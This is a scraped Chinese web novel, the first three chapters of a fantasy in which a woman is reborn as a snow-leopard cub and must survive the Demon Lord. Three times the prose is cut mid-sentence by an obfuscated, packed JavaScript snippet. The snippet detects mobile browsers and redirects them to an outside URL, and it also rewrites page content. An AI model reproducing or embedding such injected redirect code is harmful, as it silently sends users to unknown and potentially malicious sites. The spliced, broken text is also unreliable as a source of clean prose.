《我成了反派魔尊的心尖豹》 1. 第 1 章 骨爪岭,顾名思义,状若爪牙,位于魔焰山浮空山顶,乃魔界最出名的屏障之一。 而这里,正是统妖司所在之地。 统妖司是魔域领城当中最养老的部门,出了名的钱多事少,是魔族人心中名副其实的大肥差。 尤其是在魔尊以强横之姿横扫妖兽一界,并将其领地纳入魔域的百年之后。 统妖司几乎清闲到无事可做。 要知道,他们部门独立于魔域的三门五堂之外,顶头上司便是魔界最令人闻风丧胆的魔尊尊主大人。 而魔尊日理万机,根本没这个闲工夫来管小小的统妖司,没准早把他们忘了都说不定。 没人管自然有没人管的好处,只要魔晶按时发放,偌大的部门自然垮不了。 这样自由富裕的部门,只有脑子被鸟仙人踢出浆了才会选择离开。 因此,这百年来,统妖司的妖使们就从未变更过。 而他们这群人也确实闲不下来,总能给自己找点乐子做做。 于是,除了偶尔搜罗各领地新奇的妖兽来完善《妖兽统鉴》一书,对它们进行各种撸毛按摩、研究最佳喂养食谱之外,统妖司内祥和的氛围,简直和魔族血腥弑杀的天性背道而驰。 只能说,养宠……使魔柔情? 而被他们照顾得当的小妖兽们,不必经历外界残酷的风吹雨打,哭了有魔哄,张嘴有魔喂。 未开化妖智且毫无妖力的它们,同样不舍得离开这座安乐城。 再大的深仇大恨,也抵不过无情的岁月流逝。 即使统妖司里的妖兽们,多是被魔尊屠尽全族后故意留下的小妖兽。 它们有的一雄一雌,有的只剩下了一只,而不在此处的妖兽多半已经绝种。 至于为什么要养着它们? 尊主曾说,他期待它们有朝一日得知自己被豢养的真相,努力长大修炼,能来找他报灭族之仇。 这样,尊主漫长而又无趣的生活不至于太没滋味。 哈,魔族第一强者的心态果真不同凡响。 这是他们小小妖使们所难以理解的。 但是尊主的一切想法,他们全然支持拍手叫好,大人的深意我们懂个魔球。 放眼望向整个统妖司收录的妖兽们,无论是曾经名震一时的雷羽狮族、铁蹄牛族还是迅眼鹰族等。 它们的少主,眼神皆清澈而愚蠢,充满了被豢养后不思进取的蠢钝。 未开化妖智,也就意味着它们在兽类的有生之年内,只会是一只头脑简单的兽,而非能威胁到魔尊的大妖。 根本不足为惧。 而在这众多笼子当中,有一只小型笼子被装扮的极为华丽柔软,显得极为突兀。 就连在人界也显得格外奢侈的名贵绸缎,此时也不要钱似的铺在了笼子里当垫布。 更不用说笼子旁的那些高级食材和见也没见过的逗兽小玩意儿了。 要知道,人界、魔界、仙界,这三界现如今正处在诡异的平衡期,三方互不相犯,但也处处掣肘。 而统妖司能把这些东西从人间买来,定然费了不少功夫。 饶是如此艰难,他们还是毫无怨言。 没办法,谁叫这个小家伙实在太太太珍贵,太太太来之不易了呢。 身为妖使,自然见惯了世间大大小小的妖兽,可是在遇上这只小家伙时,谁都没有足够强大的自制力,舍得把眼睛挪开。 这不,笼子外,围绕着不少一脸凶煞的妖使们,正一动不动地盯着笼子里的小家伙。 哪怕只是看着它肚皮一鼓一鼓的睡觉,大家也都不觉得无聊。 相反,一个个眼神炙热的令人浑身发毛。 “不愧是传闻中长居千年冰川却不畏严寒的万古妖王——冰棘豹的子嗣,当真不同凡响。” 妖使长故作高深地说道:“能从极寒冰川中将它找出来,着实耗费了我等不少心思啊。” 他伸出手,像是在捕捉这只小豹不自觉逸散到空气中的极寒之气。 只是在眼眸微微向下的同时,手也对准了小奶豹正在慢速起伏的Q弹小肚子。 近了,快近了…… 他的演技是那么的自然朴实,几乎用尽了他这辈子所有的功力。 然而这只蠢蠢欲动的手刚到半空中,就啪的一声,被一旁的属下给无情拍开。 被戳穿小心思的妖使长不由得怒瞪了过去,可妖使员也不甘示弱地瞪了回来,开口低吼: “大人您力大无穷,手上没轻没重的,要是把当年叱咤妖界的万古妖王——冰棘豹唯一的子嗣给戳疼了怎么办,这可是世间仅有的冰棘豹了!” 豹豹这么可爱,怎么可以就你自己戳豹豹! 萌物面前,没有职位大小。 冰棘豹的直觉极为敏锐,它并没有从这些妖使们的身上感受到恶意。 相反,它还感受到了莫名的……慈爱之情? 加上它确实刚出生没多久,眼睛都还没睁开,也只能任魔围观。 要不然光看这些饲养员的长相,定然会被吓得小脚一翻,直接嗝屁。 魔族人长相本就面目狰狞,虽然能用魔力来改变外貌,但对他们而言,凶悍的长相才叫好看。 要是像鸟仙人那样一个个脸白瘦高弱不禁风,他们干脆跳进堕魔污泥里死了算了。 而这些魔的样貌,在魔族人心目中都算得上是“英俊潇洒”,配上铁饭碗的差事,那可都是万千女魔的理想配偶。 但对审美不同的其他种族来说,那就属实有些刺激和挑战心灵了。 …… 渐渐的,周围声音开始减弱,应该是日常来参观它的大部队散开了。 不过,还是有专门负责照顾它的妖使还留着。 每只妖兽都有自己的饲养员,而饲养员都是轮班制,确保大家对每只妖兽的习性习惯了如指掌,不至于产生依赖。 只不过,自己这边的饲养员,似乎轮换的尤为勤快。 四下无人之时,云宛白就听见轮班到这里的妖使,从粗犷重金属音秒变吸豹狂魔夹子音。 “啾啾啾~真可爱~你怎么这么可爱呀宝宝~哎哟哟~” “……” 她在心里重重地叹了一口气。 这是她穿越到这个陌生世界的第三天,已经实现了从完全不接受现实到认命躺平的心态转变。 还记得三天前,云宛白刚结束牛马般的工作回家躺沙发,日常打开动物园的直播间云养雪豹,以安抚她暴躁想辞职的心。 她没别的什么爱好,也不太愿意社交,养宠物对她来说更是麻烦。 所以,赛博养宠就显得格外适合她。 而云宛白最喜欢的,还得是国家动物园大V号里从雪山救助回来、刚出生没多久的小雪豹,听它软乎乎的呼吸声,心都要被萌化了。 冲动之下,打赏的简直不要太积极。 可是喜欢归喜欢,并不代表自己变成雪豹也会开心啊! 什么冰棘豹,听他们自己对毛色的具体描述,不就是雪豹吗? 愤怒只是一时的,云宛白最强的能力之一就是适应性极强。 要不然也不会被老板压榨到天天暴走想辞职,却还是公司里的元老级顶梁柱了。 但还好,起码有一件事能够勉强安慰到她。 那就是——她拿到了穿越人士人手必备的金手指。 虽然这个金手指吧,稍微有些特(鸡)别(肋)。 云宛白再一次翻开了脑海中躺着的那本小说,仔仔细细地研读了起来。 没错,根据自己的综合判断,云宛白认为自己并不是普通的穿越,而是所谓的穿书。 这种穿越套路,哪怕她不爱看小说,也从推文营销号那里刷到过好几次。 至于脑海中的这本《穿成神君的小白喵》,显然就是自己所在异世的故事背景了。 故事很老套,就和书名一样,女主穿成了神君的小白猫,在朝夕相处之下让清冷的神君变成了温润如玉的猫奴。 再之后女主化形,因为某些误会与神君闹矛盾,赌气跑出去闯荡世间,却因缘巧合结识六界高手,令他们对自己产生了别样情愫,自此男配们纷纷出场,和男主争夺女主。 其中,呼声最高的就是男二魔尊,他的性格反复无常、暴戾乖张,却对女主百依百顺,狠狠拿捏住了反 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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仙、人、魔三界看似平静祥和,但大家心中都清楚,这样的秩序迟早会被打破。 而自己一只小小雪豹,开局就已经被吞为魔界的一分子,如果按照大结局的走向,魔族几乎被屠尽,手无寸铁之力的自己肯定也逃不过悲惨的下场。 这些统妖司的妖使们,自然也难逃一死。 扪心自问,这些统妖司的妖使们对她确实够好的,不夸张的说,比她亲生父母对她还要好。 如果说,凭她的努力真能改变原著既定结局的话…… 呸呸呸! 说什么呢,什么如果! 我云宛白,那可是必须要改变剧情走向的女人! 好不容易穿越一回,拿的还是种花民族刻在DNA里超级向往的仙侠剧本,要是就这么轻易的狗带,那还有没有点穿越人士的尊严了? 之前上那什么狗屁破班都能苟到差点干掉副总,区区穿书又算得了什么。 云宛白一波鸡血给自己打精神了。 不过话又说回来,她穿过来的这具身体,小说里到底有没有详细写到,难不成真就那么炮灰? 可恶的作者,居然省略这么多的故事背景,多打点字能懒死你啊! 云宛白叹了一口气,脑海里的小说都快被她翻烂了。 直到她在某一章章节名写的特别容易被跳订的文中看见: 【神思渺养了一只凡猫后,与魔尊血冥切磋时竟也心不在焉。】 【血冥深觉无趣,但回到魔殿后却不由得回想起神思渺的提议:】 【“天天就知道打架打架,倒不如你也养只猫儿,切记一定要从小养起,如此方能体会同我这般的养宠乐趣。”】 【血冥沉思,忽地想起了统妖司,于是便命他们送来一只小兽。】 【不过统妖司不养凡猫,符合魔尊要求的也就只有刚搜罗来的冰棘豹了。】 【这只小豹儿很是乖巧亲人,魔尊刚把手伸过去,就被它的爪子抱住,还轻轻舔了两口,毫不设防。】 【血冥垂眸,不知想到了些什么,只听他倏地嗤笑一声:“蠢钝如斯,乐趣何在?”】 【他掐住雪豹的脖子一扭,随手一丢,挥手让统妖司退下,自此不提养宠一事。】 云宛白感觉脖子一疼。 “……” 啊啊啊啊我靠!! 这说的不就是我吗?! 2. 第 2 章 云宛白现在很慌。 她满脑子都是“我要被掐死了”“我的死期在什么时候”“我要怎么做才能避免被噶”等各种可怕的想法。 极大的焦虑,表现在她身上的就是:小奶豹的食欲明显下降。 就连妖使们用神鸦飞羽挠她痒痒肉,都得不到萌的让人心潮澎湃的扭肚皮动作了。 统妖司的人愁的不行,更是加大了到处搜罗新鲜玩意儿的力度,本就秃的头发已然没几根可剩。 没办法,生死关头,云宛白根本没心思对饲养员们卖萌。 她把小说又反复翻了好几遍,试图通过剧情刻画出魔尊的人物画像,从而针对他的性格定制化应对方案。 但!是! 作者明摆着就是男主控,把男主从小到大的经历事无巨细通通写了出来,但对男二,那叫一个吝啬笔墨。 就连魔尊横扫三界的事都是一笔带过。 害,后妈无疑。 “烦死了!” 云宛白的暴躁终于憋不住了,发出了愤怒的咆—— 哦对,作为资深豹迷,云宛白知道雪豹的声带结构注定不能咆哮,最多只能算嚎叫。 于是一群焦头烂额的妖使们就听到这只可遇不可求的冰棘豹,发出了萌死人不偿命的…… 喵喵声?? 这声音怎么说呢。 比凡间小奶猫的声音粗一点凶一点,却也毫无威慑力。 但是…… 纳溪撒!!(魔族经典脏话) 这小家伙也太可爱了吧!! 妖使们同时锁紧眉头扭曲面部,拳头也狠狠地攥紧,努力让自己那颗被萌化了的小心脏不要跳的这么快。 若是让旁人看了,还以为他们集体被什么人给惹毛了呢,凶的可怕。 “真,不愧是,冰棘豹的王族后裔啊。” “叫声果真,威风凛凛。” “嗯,不输它的先祖。” 各种被不知名情绪压抑出的奇怪怒音响彻统妖司的上空,其他妖兽们见惯不怪,头都懒得抬起来。 切,谁没有过被宠上天的幼崽形态啊。 …… 赤凌峰。 此乃仙界第一宗谪云宗最年轻的宗主——神思渺的住所。 平日里赤凌峰皆被仙雾环绕,隐于崇山峻岭之中,周身布满仙家阵法,且自带天然屏障。 除宗主神思渺之外,凡是接触到仙雾之人,修为都会被压制至少一段,出手如同棉花般软绵无力,极为难受,无法可解。 只有宗主给出了融云令,才能被赤凌峰所接纳,畅快呼吸,化仙雾为增进修为的仙息,对修炼大有裨益。 传闻说,这位宗主得到了神界的认可,因此才能拥有如此神器,但这类传闻无从考究,自然不知真假。 总之,若非宗主许可,任何人不得擅闯赤凌峰,违者——死。 然而,就在这飘渺仙雾之间,有两道身影正穿梭其中,黑影与白影飞速变幻,搅乱风云。 “再来!” 一道巨大血镰状的魔刃横空斩去,如削泥一般直接削断了半个山头,随后被一阵风托着,又以极快的速度猛地砸向一处。 “悠着点。” 白影无奈提手,四两拨千斤般地将半个山头稳稳接住,随后轻放在地上:“不是你的地盘就这般随便?” 不过,他也并不在意对方的回应,悬起另一只手就凝聚了极为暴烈的破空掌,谈笑间轰了回去。 倏忽间,便与一道血色掌印碰在了一起,震得整座峰都发出了嗡鸣声。 这还是在两个人赤手空拳,并未动用武器的情况下。 “少废话!” 黑影的招式更加大开大合,红光逐渐如血欲滴,就连天色都如墨染,仙雾也被浓郁的魔气沾染的粘稠了几分。 但就在血冥的战斗欲逐渐飙升至顶点时——!! “好了,就打到这儿,到我给猫儿喂食的时间了。” 那道白影,也就是神思渺,他挥挥手,毫无预兆的就退出了战斗,丝毫不管身后的黑影作何反应。 闲庭信步地回到主殿净手换衣,熟练地将卧在金洛叶塌上熟睡的白猫,捞起来抱入怀中,神思渺疼爱地挠了挠它的小肚子。 “小馋猫,醒醒吧,该吃饭了。” 白猫的尾巴应声晃了晃,试图缠住神思渺的指尖,惹得神思渺的喉间溢出两声轻笑。 很难想象,在外人心目中清冷强大的宗主大人,居然还有如此柔情的一面。 别说旁人了,就连身为好友多年的魔尊血冥也无法理解。 没错,世人皆不知,本应势不两立的仙宗宗主与魔尊血冥,他们二人竟是多年好友。 准确的来说,在神君神思渺下放仙界成为谪云宗宗主前、血冥成为魔尊前,他们俩就已经有过命的交情了。 硬生生收回强力一击的血冥,吐息稍显不畅,不过这种小伤缓个片刻就能好。 “你变了。” 他背手落地向前,走到神思渺身旁,闷闷地吐出这三个字。 比起方才战斗时的凶狠暴戾,此时的血冥倒显得沉稳内敛了不少。 “是你不懂。” 神思渺悠悠道,顺手将各种可遇不可求的仙丹,当成小零嘴儿喂给白猫。 当然,这都是他提前炼化过的“小猫易消化版”,更为精纯,也更利于吸收。 如此阔绰大方的手法,要是被神思渺那几个放养的亲传弟子看见了,指不定怎么委屈抹泪。 要知道,当年赢了宗门大典的宗主亲传弟子,都尚且只得了一颗,可在白猫这,却成了它早就吃腻的小糖豆。 呜呜,找谁说理去? “方才,没打痛快。” 血冥不满,连带着看向白猫的神色都有些戾气。 “哎,别吓着我的猫儿。” 神思渺虽然这么夸张的说着,但他也知道,血冥并不会对他上心的猫儿做些什么。 好友之间,这点信任还是有的。 血冥闻言,默默将外溢的魔气收回,耸了耸肩膀,完全不把白猫惊恐的哈气声放在眼里。 “其实,养猫儿之前,我也不曾想过我会如此柔软。” 神思渺感慨地说道,双手十分轻柔地给白猫顺毛,让它不那么应激。 能与魔尊成为至交好友,二人在性格上定有一些相通之处。 神思渺的脾气可远不像他的外表那样正派。 他若是真动了怒,那也是个能血染成河的狠主。 但随着阅历的增加,神思渺已经逐渐学会不显露声色,以智取胜,玩弄权术,用最不流血的方法来让对方溃不成军。 这也是他为什么从神界下放后,还能以仙界第一人的身份好端端地站在这儿。 “说真的,血冥,这些年你总是到处找人打架,这也不是什么解决的办法。” 神思渺换了个让猫儿更舒服的姿势将它搂着,抬起头认真提议道:“不如你也养个宠物玩玩,相信我,你也会改变的。” 血冥双手抱臂,面色微冷,显然并不赞同,道:“这是弱点。” 他的意思,若是心变柔软了,并不是什么好事。 有了牵挂便意味着有了弱点,而弱点,就有概率让自己陷入万劫不复之地。 这样的事,他已见过太多。 神思渺哈哈一笑,随后想起怀中猫儿正在睡觉,便轻咳一声,放轻声音。 “弱点是弱者的说辞。” “就像你我之前论证过的,所谓修炼无情绝情以证道者,都是只会逃避弱点的弱者。” 神思渺露出了淡然却又强大的微笑,终于展露出了属于神君的骄傲一角: “而你我,并不弱。” 所以,哪怕养出一个弱点又有何妨。 这口气大的,血冥当即被逗的勾起了嘴角。 这些年的韬光养晦,确实令血冥有些浮躁,只能靠拳脚相搏来发泄心中怨懑,顺便迷惑一番那些人。 时机未到之前,他还不能有所动作。 只是,养宠么,我…… 忽地。 “咚——咚——” 一道钟声响彻赤凌峰,神思渺和血冥都不由得向外望去。 神思渺想起了什么,不禁“啊”了一声。 “今日,好像是指导我座下弟子们功法的日子,他们快来了。” 不好意思,最近撸猫撸的有点上瘾,连正事都忘了。神思渺面不红心不跳。 “你赶紧回吧,从后门那走,别被人看见。” 他直接赶客,一点都不跟血冥客气,神态那叫一个绝情。 血冥颇有些无语,神思渺对自己的脸色,怕是连对那白猫的千分之一都不如。 虽然在心中骂了一通,但血冥转身的倒也干脆。 毕竟若是让人发现堂堂魔尊竟与神思渺交好,那么脆弱的三界平衡怕是能当场崩溃。 血冥的黑发随意束在身后,一个转身,发丝轻扬。 冷漠的神情配上他通身的黑甲,将杀神这一词勾勒的淋漓尽致。 血冥屈膝微蹲,随后如一道被雷云缠绕的黑光猛然破空而出,就连黏腻的仙雾都 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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血冥果断放弃打坐,召来了魔使。 “尊主。”一位魔使跪地抱拳,目光虔诚狂热。 感受着尊主身上传来的至纯魔气,他激动得毛孔都要张开了,好战因子在体内蠢蠢欲动。 时隔几月,尊主终于召魔了。 是尊主又看中了哪块地盘吗? 这么多魔使尊主只召唤了我,果然是因为尊主最看重我吗? 老天魔啊,得此重任,我必不负尊主厚望! 哪怕献祭我的生命,也要为尊主效力,为魔族鞠躬尽瘁! 魔使脑补了很多,自己都快感动哭了,然而尊主却给了他一个从未料想过的答案。 “传令统妖司。” 血冥站起身,目光望向远处,幽幽道: “带只妖兽过来。” 顿了顿,又补了一句: “小一点的。” 魔使的热血立马被扑灭,因为激动而耸起来的肩膀默默回正。 哦,原来不是去干架。 不过,就算不明白尊主的想法,他还是认真领命,当即告退。 魔使才走了两三步,就又听见尊主下令: “不要凡猫。” “不要凡品。” 绝不能像神思渺那样没出息,偏偏挑只这么弱的东西养。 我血冥既然要养,那必然是要珍稀不凡的绝品妖兽。 血冥思忖:起码要比神思渺的白猫要强。 “好了,去吧。” “遵命!” —— 而当魔尊的命令传到统妖司之后,整个统妖司就跟下了油锅的沙黄果一样,瞬间炸开了锅。 “天呐!尊主居然没把我们给忘了!” “尊主的命令是什么意思,尊主是想养妖兽了吗?” “这可是千载难逢的大好事,我们统妖司终于能重新被尊主看到了,这么多年没有功劳也有苦劳啊,魔晶是不是得涨一涨?” “不不不,没准这是掉脑袋的坏事!人界有句话说的好,事出反常必有妖!妖啊!” 如此混乱的统妖司,百年来都看不到一次。 “安静!安静!” 妖使长宿庚不得不出来主持秩序。 不过他的面上揉杂着惊喜、惶恐、兴奋、野心等各种复杂到根本不应该出现在魔身上的情绪。 这次传召,必然是把双刃剑,机遇与危险并存。 到底要怎么做,尊主才会满意,好让统妖司更上一层楼? 妖使长的眼珠子骨碌碌地转动,脑门上那根最长的头发正摇摇欲坠,随着主人的激动而飘动颤抖。 至于云宛白,她早就听到动静了。 她看似还乖巧躺在笼子里,眼睛瞪的圆溜溜的。 实际上,她豹已经“走”了有一会儿了。 3. 第 3 章 没想到,决定自己是苟活还是狗带的时间,居然来的这么快。 这是云宛白万万不曾预料到的。 以至于她本来在脑海中做好的各种紧急预案,在这一刻全部失效。 作为冰棘王豹幼崽版,云宛白还没学会控制自己的气息不外露。 内心的动荡不安,让她的周身不自觉凝聚了一层冰雾,气温下降了许多。 不过现在,统妖司妖使们的心思并不在它的身上。 随着妖使长宿庚的脑袋上,那根顽强坚持了很久的黑发悠悠掉落,他抖了抖毛大喝一声,往地上猛砸了一个爆光弹。 嘭——!! 一片眩目的红光后,方才嗷嗷叫的妖使们通通安静了下来。 太亮了,晃眼睛。 “都听我说。”宿庚爬上了一个承重力极强的空笼子,站在顶上震声道。 平时统妖司的人都打打闹闹惯了,没什么规矩架子。 但是今天,大家头一回见到妖使长如此威严的架势,一下子被唬的大气都不敢出。 “终于到了这一天!” “多少年了,我就问问你们,统妖司一成不变多少年了!” “无论是任务、地位,还是多年不变的魔晶!好了安静,我就知道你们最在意这个。” “但如果不能得到尊主的注视,统妖司就不可能变得更好,你们的愿望就不可能实现。” “可是今天!机会来了!” “只要尊主满意,我们这么多年的辛劳就能得到认可,就能转化为我们想要的东西。我们统妖司要的是独立,而不是被孤立。” “你,一直没有配偶吧,说到底还是魔晶不够,人家魔耳堂堂主的女儿怎么能嫁给你一个小妖使?” “你,我知道你想治好你孩子的残缺,但只有门主堂主级别的人物出手才有用。” “还有你,你想娶那只靛纹鳄,为它烙下配偶魔纹,但魔族从未有此先例,只有尊主大人才能决定是否开此先河。” “这些,这些,都需要我们……不,是必须完成尊主的命令才行,而且必须得是圆满的完成!” 好久没说这么多话了,宿庚嗓子都有点哑,但他还是继续调动大家的激情。 “所以,动动你们该死的脑子吧,都行动起来,快快快!” 尊主满意还好,要是不满意,统妖司每只魔的脑袋还能不能保住都难说。 宿庚一拍手,大家瞬间动了起来。 本来他们站在原地都容易推推搡搡,更不用说维持秩序了。 果不其然,才正经了一会儿,大家就又失控了。 有乐观的:“就它了,等我把这个小崽子带到尊主面前,兴许尊主一高兴,就赏我配偶了呢!” 有悲观的:“死马当活马医吧,这只应该也符合要求,不求尊主满意,只求别砍我脑袋,呜~” 还有到现在都没明白发生什么事的傻子。 “什么什么,尊主怎么就突然想起我们统妖司了?哎哎,有没有魔理理我啊!” 简直听的脑仁疼。 “噤声!一个个咋咋呼呼的,都上赶着被挫成灰吗,速度速度!” 宿庚怒吼道,但就跟石沉大海一样根本没用。 唉,真叫魔无奈。 算了,规矩什么的一步一步来吧,这些年轻魔,还有的学呢。 只是,我好像忘了什么? 额,不管了,忘了就说明不重要。宿庚摆摆手,继续忙活去了。 刚听完统妖司内部莫名其妙的演讲,又被打了鸡血到处乱窜的妖使们挤来挤去。 代表魔尊意志的魔使:“……” 就,这么无视我? 不是,你们独立于三门五堂的统妖司这么拽的吗?? 没人能懂魔使的脆弱。 不过,作为妖使长,宿庚的脑子还是最灵光。 趁大家行动起来之前,他就已经把最容易拔得头筹的关着冰棘王豹的笼子美滋滋地抱在了怀里,顺便把昏过头想抢他笼子的妖使踢到一边去。 “尊主一定会喜欢这个小家伙的,到时候我要提什么样的条件比较合适呢……” 宿庚似乎已经看到了美好的未来,即使被云宛白释放出来的冰雾冻了一个激灵,也难以消去内心的火热。 忙碌了半刻,统妖司大队终于集合完毕。 妖使长大手一挥,召来了统妖司的镇司魔龙,一头堪比门主实力的煞惹龙,携着全司腾空而起。 为了防止小妖兽们闹腾晕龙,在出发前,妖使们就已经给它们喂食了瞌睡果,好让它们乖乖睡上一觉,养精蓄锐,以最好的面貌觐见尊主。 再一次被无视在原地,甚至没被邀请上龙的魔使,就这么看着煞惹龙飞远不见。 不知听谁说过,人在特别生气的时候会笑出来,魔也一样。 呵呵呵,纳西撒。 我一定要到尊主面前狠狠告你们一状。 呵呵呵。 魔使攥紧拳头,边怪笑边腾空,向着前方追去。 …… 不知道是药效起了作用,还是因为死期将至,大脑会自动宕机来逃避事实。 头一回出远门的云宛白,这一路上都没有什么印象。 迷迷糊糊间,她只觉得脖颈一紧,令人不适的失重感和压迫感逼着她清醒过来。 不过她还是太幼小了,眼睛根本睁不开,就只能听见声音。 该死的,剧情怎么就推进的这么快,一觉醒来直接快进到生死局,都不带前方高能预警的。 “尊主,您看它如何?” 宿庚搓着手,笑容灿烂而又赤忱,像极了好久没见自家老大,然后又无条件对老大崇拜忠诚的敏感、自卑、乖巧、无害的小弟。 这比狗腿子可高级多了。 谄媚的一点都不刻意,一点都没痕迹啊! 在血冥的印象中,宿庚一直是这样的魔,老实又听话。 虽然很久没召见他了,但今日一见,还是以前那个味儿。 “这就是豹族最后一只余孽?” 血冥没什么情绪地将云宛白拎了起来,像观察花草树木一般,随意地看了几眼。 毕竟它对血冥而言,就跟看蝼蚁一样没什么区别。 “是的尊主,这只就是冰棘豹一族仅存的嫡系血脉,它很乖巧,也很幼小。” 宿庚特意在“嫡系血脉”这四个字上加重了声音,毕竟这可不是什么普普通通的小豹,它的血脉传承自万古妖王冰棘王豹,十分强大稀有,就适合尊主这样身份高贵的人饲养。 自己可是非常冒险的一上来就祭出了大招,尊主可千万要满意啊,不然我…… 宿庚紧张,云宛白更紧张。 她已经感受到一股极强的充满侵略性的目光扫视着自己,就像屠夫看着案板上的肉一样,毫无感情。 云宛白以前始终无法理解什么叫做实质化的目光,可今天,她是真真切切地感受到了什么叫做死亡凝视。 好像只要对方生出某个念头,自己就会不明不白地嗷呜下线。 她方才听见宿庚说自己乖巧懂事,乖巧个屁,不知道魔尊就讨厌乖巧的家伙吗! 不行了,再冒险也必须执行原定计划。 反正在小说中,我的戏份没个几秒就要杀青了,既然结局都是死,干嘛不放手一搏? 云宛白正在拼命给自己洗脑。 说到底,她也不过是个刚经历穿书的普通人,要想拿出向死而生的勇气和决心,又哪是那么容易的事儿。 血冥提溜着这只小家伙左看看右看看。 它确实很幼小,在自己手上没什么重量,再用点力气就能把它掐死。 至于宿庚说的冰棘王豹……血脉高贵又如何,不也是区区豹妖么。 轻呵一口气就会死。 “这只小豹开启妖智了吗?”血冥不甚在意地问道,将小豹凑近自己,观察它的花纹。 冰川白的毛色中,布满了大大小小的黑斑,它的尾巴很长,基本和它的身长一样。 和神思渺家通体雪白的白猫相比,这只小豹倒显得有些“脏”了。 不过它的花纹分布看久了之后还挺有意思,脸颊眼尾都有黑色绒毛勾勒形状,反而平添一份魔性。 妖使长宿庚是个聪明魔,他听出尊主对血脉一词并不在意,相反还有些不屑,他便不再提起,而是顺着魔尊的话往下讲。 “还没,豹儿刚出生没多久,之前被封印在了千年冰川中随死河漂流,前些天才将它捡起激活。” “不过它们一族的修炼天赋很高,觉醒妖智也不过是时间长短的问题。” 宿庚瞄到尊主的手环着小豹儿脆弱的脖颈,正有一下没一下的捏紧,自己的心也不由得提起,放下,再提起,再放下。 遭了,尊主该不会不喜欢这只豹儿吧? 这么可爱乖巧的豹崽都不喜欢?! “不算太丑,就是有些弱。”血冥有些嫌弃。 只是,被他拎了这么久,这只小豹居然完全不反抗,一点提防的意识都没有。 在魔域,最没用的就是这种需要精心伺候的东西了。 这般任人鱼肉的天真姿态,它配成为我的妖宠? 血冥不善地将眼神微眯,手指逐渐收拢用力。 就在这时,本来一动不动的小奶豹猛的鼓气,随后格外费劲地睁开了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14879088|159715||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 眼。 这是一双令人惊艳的海蓝色眼眸,澄澈见底,纯洁无瑕。 与它对望,仿佛世间所有的肮脏污秽都无地自容。 仅这一双瞳孔,绝对称得上一句漂亮。 从迷茫涣散到有神聚焦,豹儿的眼睛因强行睁开而刺激得流下了泪水。 饶是如此,它还是努力瞪大眼睛,试图把想要杀害自己的凶手印入眼中。 有点意思。 血冥的嘴角闪过一丝玩味,将它凑的离自己近些。 “知道我要杀你?”他就这么问出口了,也不管豹儿听不听得懂。 但是一旁的宿庚面色大变,却一声都不敢吱。 这是属于云宛白一个人的战斗。 听完魔尊的话,小豹那充满兽性的眼神死死盯住血冥,桀骜而又有狠劲,四只爪子不断扑腾,试图挣脱扼住自己命运的巨手。 云宛白觉得自己已经用尽了所有的演技和决心,来抗争注定祭天的命运。 至于落在血冥眼中,那就是小家伙正张牙舞爪地装凶,打算萌死自己。 血冥饶有兴致地把它拿远了一些,任它无用功地挣扎,自顾自道:“看来你对杀气很敏锐,这点很好。” 本来豹儿乖巧的时候,血冥对它毫无兴趣,甚至想一巴掌拍死它。 可豹儿一个劲儿地扑腾,还想用没长出指甲的爪子去划花他的脸时,他就觉得这只豹儿可爱起来了。 看,这才叫有活力、不怕人,比神思渺的白猫顺眼的多。 不愧是在我魔域诞生的小家伙。 血冥认可地点头。 云宛白不知道自己精心准备的自救方案到底有没有起作用,但刚才反抗的时候,她是真起了一丝火气。 笑笑笑,笑个屁! 老娘在那垂死挣扎,你特么来劲了,还在那儿笑,当我没看到你难压的嘴角吗! 你这魔尊是真有病真贩剑真脑子有泡! 软的不吃非要吃硬的,属狗的爱啃骨头是吧! 就算你长的!……嗯,是有点姿色,但那又怎样! 云宛白气自己弱小无力,更气自己在要紧关头,脑子竟然还有工夫歪楼。 气急败坏的她,发出了自穿书以来最真情实感的一句怒吼: “嗷~~!!” 任人宰割的感觉,真的好!烦!啊! 血冥就盯着它对自己嗷嗷叫,心思不由得飘远。 神思渺是不是说过,小猫喵喵叫就是撒娇的意思? 那这只豹儿跟猫长的差不多,叫声的意思应该也相近吧。 百年来,血冥还是头一回成为被撒娇的对象,这让他的表情变的十分古怪。 不难受,就是令他无所适从。 感受到魔尊杀气减弱,云宛白犯浑的脑袋清醒过来了。 现在不是和活爹计较的时候,保住小命最要紧。 计划起了作用,魔尊确实如猜测的那样厌蠢厌乖,喜欢驯服桀骜不驯且懂得谋略的刺头。 不过一只刚出生没多久的小奶豹可展现不了智慧,那就只能凶狠一点了。 云宛白心里暗道:再加点筹码! 血冥一手捏着小豹的脖子,另一只手在好奇地戳它身上毛绒绒的黑斑,细腻绒毛的触感很是不错。 云宛白的眸子就这么直勾勾盯着他的指尖,趁他正好戳到自己的肚皮,她伸出双爪猛的一抱,一把抓住他的指尖就往自己嘴里一送。 就是现在!咬他! 嗷呜!!! 这一口,用尽了云宛白兽生以来所有的力气。 血冥根本没有防备这么小的奶豹,以至于被咬住的时候还微微一愣。 它在干嘛? 咬……我? 唔,指尖有点痒痒的,它的牙没什么力道,果然很弱。 不过,它咬我的原因难道是饿了? 可我怎么知道要喂它什么。 脑海里居然闪过了这么多的念头,这让血冥觉得很是新奇。 他暂时不想杀它了。 这小东西居然不怕自己,各种反应都出乎意料,要是养起来的话,应该不至于太无趣。 感知到魔尊彻底收回了杀意,云宛白松了一口气。 不枉我演的如此卖力,故意装傲娇还得不经意地去卖萌,看来小命总算是苟住了。 而她的视线范围中,站在魔尊身后的宿庚,他原本紧张兮兮的表情陡然惊恐万分,伸手大喊道: “至纯魔息!尊主大人,这可不兴喂——” 来不及了。 